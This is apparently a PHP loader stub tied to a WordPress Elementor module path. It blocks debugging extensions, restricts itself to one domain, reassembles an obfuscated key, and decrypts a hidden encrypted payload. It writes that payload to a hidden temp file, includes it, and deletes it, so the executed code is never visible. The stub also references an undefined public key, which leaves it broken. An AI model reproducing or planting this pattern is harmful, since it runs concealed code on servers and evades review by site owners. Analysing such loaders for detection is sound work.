<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["v08iUx083Hc=","IA4Yhyapzu0=","D\/cG3aCqsQA=","PRVTdDPaZNs="]', true);
$__MASKS = json_decode('["WMokAfSeSpE=","LA92nu8nIjs=","Q5oV9EOORqk=","8Wg\/BvdGzf4="]', true);
$__ROT   = json_decode('[2,1,3,2]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('lHR/vBHchF0GBRgETKMVS4nQZucZcrlq');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9tb2R1bGVzL2hvbWUvdHJhbnNmb3JtYXRpb25zL2ZpbHRlci1jb25kaXRpb24taW50cm9kdWN0aW9uLW1ldGEucGhwIiwidHMiOjE3NTY2OTM3MTQsImV4cGlyZXMiOjAsImRvbWFpbnMiOlsiaXRzaG9tYXIuaXIiXSwib25saW5lIjowLCJ3cCI6MSwiYWxnbyI6InhjaGFjaGEyMHBvbHkxMzA1X2lldGYifQ==');
$__CT    = base64_decode('ShdY9SJqtgn475sOEqlZQkyGwlF3jScRSOyhViKEyWareMRWsPvBoqtafra7evFxRl4WB7qUhGOrMjPR71IdUE+8NJiVYaJfAGNE29B6/ynML6IvrquK190reyoV4OahMFEIZge8th/u8VbRnKiDlyaH7+cJPDSuwf/BXHpALTdEzMbClf/xt9Y2sAV/eRkGy+Hq7jElxs+LDCS7JTJ4l1Or4U11s5k2vkdoXsWv8dQlTgfXKtaTQ5jdN3MbkYae0BYlETW4vhAbxXLGIGIS4hROY413SXe/X3EQ1p+m+10Ry6AJUTD4OUZowH2W7mHGcLEV07jX/44Lty7oHY8M5n9LhGzTBZuRrJaUu3PiEnqxtLX9WZqDgUdNg8MHElztKGrC95A5L/KtTU38vYlt7LalieiVo5mbHj77n7vr7eB2MI2TRxu7XcGwOxbFgQ27HIf2VW6lY7DSRSN4+UM45AGJTnMHYxLOH7kPNHfIXdPr8/xX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CdV/PrgsEgKLtQZgJjosdql4=');
$__SIG = base64_decode('joRBjfEqMtY7rIuXfzOjsjEzrNvTgPpWirAzV0s/3xWB/v7KNjui1mxdbkV/U/Xs7EVZ4ufGS8Dg1znf5f8bAw==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
